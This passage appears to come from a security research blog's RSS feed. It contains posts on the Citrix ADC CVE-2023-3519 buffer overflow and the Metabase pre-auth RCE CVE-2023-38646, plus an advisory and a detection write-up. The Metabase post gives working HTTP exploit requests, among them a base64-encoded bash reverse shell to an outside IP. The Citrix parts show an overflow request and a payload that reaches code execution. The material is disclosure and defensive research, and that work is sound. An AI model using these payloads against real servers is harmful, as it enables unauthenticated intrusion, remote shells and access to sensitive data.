&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Note the additional check of &lt;code&gt;iVar3&lt;/code&gt; which is then passed as a parameter to &lt;code&gt;ns_aaa_saml_url_decode&lt;/code&gt;. Tracing the callgraph backwards we found our vulnerable function is called at the start of &lt;code&gt;ns_aaa_gwtest_get_valid_fsso_server&lt;/code&gt; which is available at the path &lt;code&gt;/gwtest/formssso&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Looking at this endpoint we were able to determine that it expected an &lt;code&gt;event&lt;/code&gt; query parameter with a value of &lt;code&gt;start&lt;/code&gt; or &lt;code&gt;stop&lt;/code&gt;. The function then URL decoded the &lt;code&gt;target&lt;/code&gt; query parameter with no length check. To verify we constructed the following request:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /gwtest/formssso?event=start&amp;amp;target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 192.168.1.225
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Which resulted in the following crash.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;/images/citrix-bof-first-crash.png&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;After a bit of fiddling, we were then able to slot in a return address to a location in the stack where we placed some INT3 instructions (&lt;code&gt;0xcc&lt;/code&gt;). The payload we used is shown below.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-py&quot;&gt;payload  = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += b'\xf0\xc1\xff\xff\xff\x7f%00%00CCCCCCCCDDDDDDDD\xcc\xcc\xcc\xcc'
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Again we hit our crash in GDB. This time halting on our interrupt instructions as they were executed.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;/images/citrix-bof-code-exec.png&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The next step is to pivot this to be able to run arbitrary commands, but that is a topic for another blog post.&lt;/p&gt;

&lt;p&gt;Detecting this vulnerability is quite challenging as this endpoint behaves in a similar way when sending a non-malicious paylod on both patched and unpatched instances (500 error).&lt;/p&gt;

&lt;p&gt;While we find that version based checks (relying on &lt;code&gt;Last-Modified&lt;/code&gt; or hashes and version numbers) can often be less accurate, at the time of writing this blog post, there are no other ways to detect this vulnerability without attempting the exploit.&lt;/p&gt;

&lt;p&gt;We suggest that organizations review the &lt;a href=&quot;https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-201a&quot;&gt;Indicators of Compromise from CISA&lt;/a&gt; and patch their instances of Citrix ADC and NetScaler Gateway ASAP as per &lt;a href=&quot;https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467&quot;&gt;the Citrix advisory&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Additional detection and exploitation mechanisms have been released for customers of our &lt;a href=&quot;https://assetnote.io&quot;&gt;Attack Surface Management platform&lt;/a&gt;, providing coverage over this emerging, and in the wild exploited threat.&lt;/p&gt;
</description>
        <pubDate>Mon, 24 Jul 2023 19:15:03 +1000</pubDate>
        <link>https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/</guid>
      </item>
    
      <item>
        <title>Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)</title>
        <description>&lt;p&gt;Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources. It’s a popular project, with over 33k stars on GitHub and has had quite a lot of scrutiny from a vulnerability research perspective in the last few years.&lt;/p&gt;

&lt;p&gt;Our security research team decided to focus on this product due to our experiences in dealing with previous vulnerabilities that affected Metabase (&lt;a href=&quot;https://github.com/metabase/metabase/security/advisories/GHSA-vmm4-cwrm-38rj&quot;&gt;Log4Shell&lt;/a&gt;, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-41277&quot;&gt;SSRF&lt;/a&gt;) and due to our analysis on the widespread nature of this software on the internet.&lt;/p&gt;

&lt;p&gt;Despite Metabase not giving us credit in their initial advisory, we were the original discoverers and reporters of this bug to Metabase.&lt;/p&gt;

&lt;p&gt;As of writing this blog post, there are about ~20k instances of Metabase exposed on the external internet. Given that this tool is designed to connect to extremely sensitive datasources, a pre-auth RCE vulnerability has a great impact, as not only are you able to get a shell on a critical part of an organization’s network, but you will likely also be able to access sensitive datasources.&lt;/p&gt;

&lt;p&gt;In order to follow along in our journey to achieving pre-auth RCE, you can spin up an instance of Metabase that is vulnerable by running the following command: &lt;code&gt;docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6&lt;/code&gt;. This will spin up a vulnerable instance of Metabase on port 3000. No special configuration is required to exploit the vulnerability we present in this blog.&lt;/p&gt;

&lt;p&gt;When reviewing the different flows inside Metabase and capturing the traffic from the installation steps of the product, we noticed that there was a special token that was used to allow users to complete the setup process. This token was called the &lt;code&gt;setup-token&lt;/code&gt; and most people would assume that the setup flow can only be completed once (the first setup).&lt;/p&gt;

&lt;p&gt;After auditing Metabase’s Clojure code and their frontend, we found that the intended flow for Metabase’s setup looked something like the following:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;/images/metabase-setup-flow.png&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;However, as we set up our local instance of Metabase, we were shocked to find that the &lt;code&gt;setup-token&lt;/code&gt; value was still present after the installation and accessible to unauthenticated users via the following two methods:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Viewing the HTML source of the index/login page and finding it embedded in a JSON object&lt;/li&gt;
  &lt;li&gt;Viewing &lt;code&gt;/api/session/properties&lt;/code&gt; (also accessible without auth)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, in reality, what was actually happening was the following:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;/images/metabase-setup-flow-reality.png&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;But hang on a second, a lot of the instances we were checking online did not have the setup-token exposed. Many instances we checked had &lt;code&gt;&quot;setup-token&quot;:null&lt;/code&gt;, so why is our local installation not wiping the setup token? We did get some comfort as we did also find plenty of instances in the wild where the setup-token had not been wiped even though the instances were fully setup.&lt;/p&gt;

&lt;p&gt;At this point, both my colleague and I were frantically trying to work out the root cause of this issue. It was not immediately obvious even after several hours of reading their codebase. We decided to take a journey down memory lane and systematically go through their historical commits until we found a clue.&lt;/p&gt;

&lt;p&gt;Eventually, we landed on the following commit made in Jan, 2022: &lt;a href=&quot;https://github.com/metabase/metabase/commit/0526d88f997d0f26304cdbb6313996df463ad13f#diff-44990eafd7da3ac7942a9f232b56ec045c558fdc3c414a2439e42b5668eced32L141&quot;&gt;https://github.com/metabase/metabase/commit/0526d88f997d0f26304cdbb6313996df463ad13f#diff-44990eafd7da3ac7942a9f232b56ec045c558fdc3c414a2439e42b5668eced32L141&lt;/a&gt;.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;/images/bad-commit.png&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Based off our understanding, there was some refactoring work done on the Metabase codebase where a critical part of the setup flow was deleted: removing the setup token after Metabase has been setup.&lt;/p&gt;

&lt;p&gt;To explain the caveat to this entire chain, in order for your Metabase instance to have been vulnerable, it must have been set up after this commit was made (Jan 2022). This explained why so many older Metabase instances did not have their setup-token exposed.&lt;/p&gt;

&lt;p&gt;With that mystery solved, we moved onto the next stage of the exploitation process, which was going from an exposed setup token to reliable remote code execution. Given that Metabase is designed to connect to so many different types of datasources/databases, we were confident that we could escalate this vulnerability.&lt;/p&gt;

&lt;p&gt;The setup phase of Metabase prompts you to connect to a datasource/database. As this is a part of the setup flow, an endpoint exists at &lt;code&gt;/api/setup/validate&lt;/code&gt; which takes in a JDBC URI as a part of the POST request and then validates the connection before allowing you to complete the setup.&lt;/p&gt;

&lt;p&gt;In the land of Clojure/Java, it’s common to see many different database connectors made possible through JDBC drivers, and from our previous experiences, we have been quite successful at achieving code execution by abusing these JDBC connectors.&lt;/p&gt;

&lt;p&gt;One of the most common attack vectors in this space is abusing the H2 database &lt;code&gt;INIT&lt;/code&gt; parameter to execute arbitrary code. We thought that this would be a straight forward way to achieve pre-auth RCE, however we quickly found that this issue had already been reported and patched by Metabase &lt;a href=&quot;https://github.com/metabase/metabase/security/advisories/GHSA-gqpj-wcr3-p88v&quot;&gt;in the past&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As Metabase was actively blocking the usage of the &lt;code&gt;INIT&lt;/code&gt; parameter when connecting to H2 databases, we had to determine an alternative connection string that would still execute our code. After spending a few hours on this, we discovered that a SQL injection vulnerability existed within the H2 database driver itself, allowing us to execute code without the usage of &lt;code&gt;INIT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The purpose of the &lt;code&gt;INIT&lt;/code&gt; keyword in the first place, is just a SQL query that is ran on the initiation of the database connection. Even with this keyword being blocked, all we needed to do was to discover an alternative argument that would let us run arbitrary SQL. By using the &lt;code&gt;TRACE_LEVEL_SYSTEM_OUT&lt;/code&gt; argument and stacking our SQL queries (via SQL injection), we were able to execute arbitrary code.&lt;/p&gt;

&lt;p&gt;Even knowing this, we had one last challenge to surpass before getting RCE in a reliable manner, which H2 database were we going to point Metabase to during this validation step? Using the Metabase database itself would lead to the database being corrupt and was not an ideal exploit for this vulnerability.&lt;/p&gt;

&lt;p&gt;We noticed that a sample H2 database is provided inside Metabase’s JAR file, and with the power of a &lt;code&gt;zip&lt;/code&gt; URI, we could use this sample database in our attack chain without corrupting any databases or the application.&lt;/p&gt;

&lt;p&gt;Combining all of these pieces together, we are left with a beautiful proof-of-concept which can be found below:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 566

{
    &quot;token&quot;: &quot;5491c003-41c2-482d-bab4-6e174aa1738c&quot;,
    &quot;details&quot;:
    {
        &quot;is_on_demand&quot;: false,
        &quot;is_full_sync&quot;: false,
        &quot;is_sample&quot;: false,
        &quot;cache_ttl&quot;: null,
        &quot;refingerprint&quot;: false,
        &quot;auto_run_queries&quot;: true,
        &quot;schedules&quot;:
        {},
        &quot;details&quot;:
        {
            &quot;db&quot;: &quot;zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;&quot;,
            &quot;advanced-options&quot;: false,
            &quot;ssl&quot;: true
        },
        &quot;name&quot;: &quot;an-sec-research-team&quot;,
        &quot;engine&quot;: &quot;h2&quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Just to recap, to get to this stage, the following was done:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Obtained the setup token from &lt;code&gt;/api/session/properties&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Found an API endpoint that can be used with this token that validates DB connections&lt;/li&gt;
  &lt;li&gt;Found a 0day SQL injection vulnerability in H2 db driver&lt;/li&gt;
  &lt;li&gt;Found that we could use &lt;code&gt;zip:/app/metabase.jar!/sample-database.db&lt;/code&gt; to prevent the corruption of any databases on disk&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With the request above, we were able to reliably get code execution.&lt;/p&gt;

&lt;p&gt;The following payload can be used to obtain a reverse shell on the system:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812

{
    &quot;token&quot;: &quot;5491c003-41c2-482d-bab4-6e174aa1738c&quot;,
    &quot;details&quot;:
    {
        &quot;is_on_demand&quot;: false,
        &quot;is_full_sync&quot;: false,
        &quot;is_sample&quot;: false,
        &quot;cache_ttl&quot;: null,
        &quot;refingerprint&quot;: false,
        &quot;auto_run_queries&quot;: true,
        &quot;schedules&quot;:
        {},
        &quot;details&quot;:
        {
            &quot;db&quot;: &quot;zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x&quot;,
            &quot;advanced-options&quot;: false,
            &quot;ssl&quot;: true
        },
        &quot;name&quot;: &quot;an-sec-research-team&quot;,
        &quot;engine&quot;: &quot;h2&quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The value of &lt;code&gt;YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx&lt;/code&gt; decoded is &lt;code&gt;bash -i &amp;gt;&amp;amp;/dev/tcp/1.1.1.1/9998 0&amp;gt;&amp;amp;1&lt;/code&gt;. You must encode this with your own IP and port, and then modify the payload above before sending it.&lt;/p&gt;

&lt;p&gt;Based off discussions with other researchers, the following techniques are also possible:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Using a diacritic letter inside the word &lt;code&gt;INIT&lt;/code&gt; to bypass the blocked keyword protection. (thanks to &lt;a href=&quot;https://twitter.com/reginaldojsf&quot;&gt;Reginaldo&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Using a &lt;code&gt;mem&lt;/code&gt; DB instead of the zip URI. (thanks &lt;a href=&quot;https://twitter.com/httpvoid0x2f&quot;&gt;Harsh and Rahul&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Using other parameters in the H2 database for a SQL injection, anything that sets a property. (thanks to &lt;a href=&quot;https://twitter.com/marcioalm&quot;&gt;Marcio&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To remediate the issue, you can follow the instructions from Metabase that can be found here: &lt;a href=&quot;https://www.metabase.com/blog/security-advisory&quot;&gt;https://www.metabase.com/blog/security-advisory&lt;/a&gt; and &lt;a href=&quot;https://github.com/metabase/metabase/releases/tag/v0.46.6.1&quot;&gt;https://github.com/metabase/metabase/releases/tag/v0.46.6.1&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As always, customers of our &lt;a href=&quot;https://assetnote.io&quot;&gt;Attack Surface Management platform&lt;/a&gt; have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.&lt;/p&gt;
</description>
        <pubDate>Sat, 22 Jul 2023 13:59:23 +1000</pubDate>
        <link>https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/</guid>
      </item>
    
      <item>
        <title>Advisory: Metabase Pre-Auth RCE (CVE-2023-38646)</title>
        <description>&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;An unauthenticated attacker can obtain the setup token for an instance and use it to achieve remote code execution via an endpoint that allows you to validate a H2 database connection. When validating the database, the H2 JDBC driver allows for the attacker to achieve RCE.&lt;/p&gt;

&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;

&lt;p&gt;An attacker can execute arbitrary Java code on the system, leading to arbitrary command execution.&lt;/p&gt;

&lt;h2 id=&quot;affected-software&quot;&gt;Affected Software&lt;/h2&gt;

&lt;p&gt;Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server.&lt;/p&gt;

&lt;h2 id=&quot;product-description&quot;&gt;Product Description&lt;/h2&gt;

&lt;p&gt;Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources.&lt;/p&gt;
&lt;h2 id=&quot;solution&quot;&gt;Solution&lt;/h2&gt;

&lt;p&gt;Upgrade to the latest version of Metabase &amp;gt; v1.46.6.1.&lt;/p&gt;

&lt;p&gt;Metabase’s official advisory can be found &lt;a href=&quot;https://www.metabase.com/blog/security-advisory&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;blog-post&quot;&gt;Blog Post&lt;/h2&gt;

&lt;p&gt;The blog post detailing the steps taken for the discovery of this vulnerability can be found &lt;a href=&quot;/2023/07/22/pre-auth-rce-metabase/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;credits&quot;&gt;Credits&lt;/h2&gt;

&lt;p&gt;Shubham Shah - Assetnote Security Research Team&lt;/p&gt;

&lt;p&gt;Maxwell Garrett&lt;/p&gt;
</description>
        <pubDate>Sat, 22 Jul 2023 00:00:00 +1000</pubDate>
        <link>https://blog.assetnote.io/2023/07/22/advisory-metabase-rce/</link>
        <guid isPermaLink="true">https://blog.assetnote.io/2023/07/22/advisory-metabase-rce/</guid>
      </item>
    
      <item>
        <title>Analysis of CVE-2023-3519 in Citrix ADC and NetScaler Gateway</title>
        <description>&lt;p&gt;&lt;strong&gt;Update: we have discovered the endpoint being used by threat actors for CVE-2023-3519 and you can read Part 2 of this blog post &lt;a href=&quot;/2023/07/24/citrix-rce-part-2-cve-2023-3519/&quot;&gt;here&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We have been notified that the patches from Citrix cover more than one vulnerability, and that the issue identified in our blog post may not be the only one. There is a possibility that a pre-auth RCE exists without SAML being enabled.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note: our analysis so far indicates that SAML has to be enabled for exploitation, this may change as we continue to reverse engineer this vulnerability. We will update our blog post accordingly&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In the last week, Citrix have released an &lt;a href=&quot;https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467&quot;&gt;advisory&lt;/a&gt; which included a fix for a critical RCE vulnerability within Citrix ADC and NetScaler Gateway. There have been indications that the exploit for this has been sold on the internet since some time in June, however this advisory solidified the presence of a real vulnerability.&lt;/p&gt;

&lt;p&gt;If you are just looking for a script to determine the exploitability of this issue for your Citrix machines, you can obtain our detection script here: &lt;a href=&quot;https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519&quot;&gt;https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We’ve spent a lot of time auditing and reviewing Citrix’s ADC and NetScaler Gateway in the last year, leading to the discovery of &lt;a href=&quot;/2023/06/29/binary-reversing-citrix-xss/&quot;&gt;CVE-2023-24488&lt;/a&gt;. Upon seeing the advisory of CVE-2023-3519, our security research team has been tasked to build accurate detections for this issue for our &lt;a href=&quot;https://assetnote.io&quot;&gt;Attack Surface Management&lt;/a&gt; platform.&lt;/p&gt;

&lt;p&gt;In this blog post, we’ll be describing our efforts so far in reverse engineering Citrix and our analysis from the patch diffing that we performed. We do not yet have a working exploit chain, however we have worked on a detection mechanism that is higher signal than relying on &lt;code&gt;Last-Modified&lt;/code&gt; dates or scraping version numbers from &lt;code&gt;/vpn/pluginlist.xml&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As we are still working through the process of reviewing the patch diffs, our analysis is not complete and will be updated as we discover more information about this vulnerability. Given that this vulnerability is being exploited in the wild, we wanted to share what we know so defenders can better detect vulnerable instances on their attack surface.&lt;/p&gt;

&lt;p&gt;The Citrix website does not make it obvious for where to register an account (necessary to claim the licenses). We were able to register a Citrix account through the following link: &lt;a href=&quot;https://onboarding.cloud.com/&quot;&gt;https://onboarding.cloud.com/&lt;/a&gt;. After the account has been registered, you can head to the following link to &lt;a href=&quot;https://www.citrix.com/en-au/downloads/citrix-adc/virtual-appliances/netscaler-vpx-developer-edition.html&quot;&gt;claim an evaluation license&lt;/a&gt;. You will need to repeat this process twice to obtain two evaluation keys (one for your patched instance and one for your unpatched instance).&lt;/p&gt;

&lt;p&gt;After obtaining copies of each version we generated a BinDiff file for their &lt;code&gt;nsppe&lt;/code&gt; binaries. When comparing these we found roughly fifty functions were different and proceeded to investigate each one. Eventually, we got to &lt;code&gt;ns_aaa_saml_parse_authn_request&lt;/code&gt; and noticed an error log was added in the patched version. From the message it sounded like a check was added to ensure a list of canonicalization methods did not exceed a maximum value. Our suspicion was that in the unpatched version, it is possible to exceed this limit.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;/images/citrix-saml-diff.png&quot; alt=&quot;&quot; width=&quot;100%&quot; /&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;We believe that this issue is within the SAML processing components of Citrix ADC and NetScaler Gateway. We appreciate the analysis from &lt;a href=&quot;https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519&quot;&gt;Ron Bowes&lt;/a&gt; which came to a similar conclusion as us on this issue.&lt;/p&gt;

&lt;p&gt;In the &lt;code&gt;ns_aaa_saml_parse_authn_request&lt;/code&gt; function the SAML payload is parsed into a struct containing the relevant details. We believe this struct includes a fixed array of canonicalization method values. Each time the parser sees a new &lt;code&gt;CanonicalizationMethod&lt;/code&gt; tag it checks the &lt;code&gt;Algorithm&lt;/code&gt; attribute against a list of supported algorithms and adds an associated enum value to the array. In the unpatched version there is no bounds check performed and as such, it is possible to write off the end of the array. This corrupts the rest of the struct and any allocated memory that follows.&lt;/p&gt;

&lt;p&gt;Because the parser checks the &lt;code&gt;Algorithm&lt;/code&gt; attribute and writes a corresponding enum value, we were only able to write bytes &lt;code&gt;0x3&lt;/code&gt; or &lt;code&gt;0x2&lt;/code&gt; into this buffer. Through this, it was possible to cause segfaults and corrupt memory, but we have not been able to demonstrate RCE so far.&lt;/p&gt;

&lt;p&gt;In addition to our analysis above, we noticed that the behaviour above can only be triggered if SAML is enabled. It seems that the requests are stopped pretty early in the chain when SAML is not enabled.&lt;/p&gt;

&lt;p&gt;This is not a final assessment of the issue as there may be different entry points that do not require SAML being enabled. The advisory from Citrix and all public information so far also does not mention the requirement of SAML having to be enabled to exploit this issue&lt;/p&gt;

&lt;p&gt;Based off the responses returned by Citrix, we were able to determine whether or not a Citrix instance may be vulnerable through the following error oracle:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SAML Disabled -&amp;gt; &lt;code&gt;Matching policy not found while trying to process Assertion; Please contact your administrator&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;SAML Enabled + Patched -&amp;gt; &lt;code&gt;Unsupported mechanisms found in Assertion; Please contact your administrator&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;SAML Enabled + Unpatched -&amp;gt; &lt;code&gt;SAML Assertion verification failed; Please contact your administrator&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This error oracle works by sending a POST HTTP request to &lt;code&gt;/saml/login&lt;/code&gt; where the SAML assertion contains 11 instances of &lt;code&gt;CanonicalizationMethod&lt;/code&gt; whereas the max permitted on patched instances is 10. This check does not cause any disruption on the instance and there is a clear difference between an unpatched and patched instance in the error messages.&lt;/p&gt;

&lt;p&gt;The following request will trigger the error: &lt;code&gt;SAML Assertion verification failed; Please contact your administrator error message on unpatched instances.&lt;/code&gt; on unpatched instances:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /saml/login HTTP/1.1
Host: 192.168.1.225
Connection: close
Content-Length: 3150
Content-Type: application/x-www-form-urlencoded

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0icGZ4NDFkOGVmMjItZTYxMi04YzUwLTk5NjAtMWIxNmYxNTc0MWIzIiBWZXJzaW9uPSIyLjAiIFByb3ZpZGVyTmFtZT0iU1AgdGVzdCIgRGVzdGluYXRpb249Imh0dHA6Ly9pZHAuZXhhbXBsZS5jb20vU1NPU2VydmljZS5waHAiIFByb3RvY29sQmluZGluZz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmJpbmRpbmdzOkhUVFAtUE9TVCIgQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSJodHRwOi8vc3AuZXhhbXBsZS5jb20vZGVtbzEvaW5kZXgucGhwP2FjcyI%2BCiAgPHNhbWw6SXNzdWVyPkE8L3NhbWw6SXNzdWVyPgogIDxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPgogICAgPGRzOlNpZ25lZEluZm8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIi8%2BCiAgICAgIDxkczpDYW5vbmljYWxpemF0aW9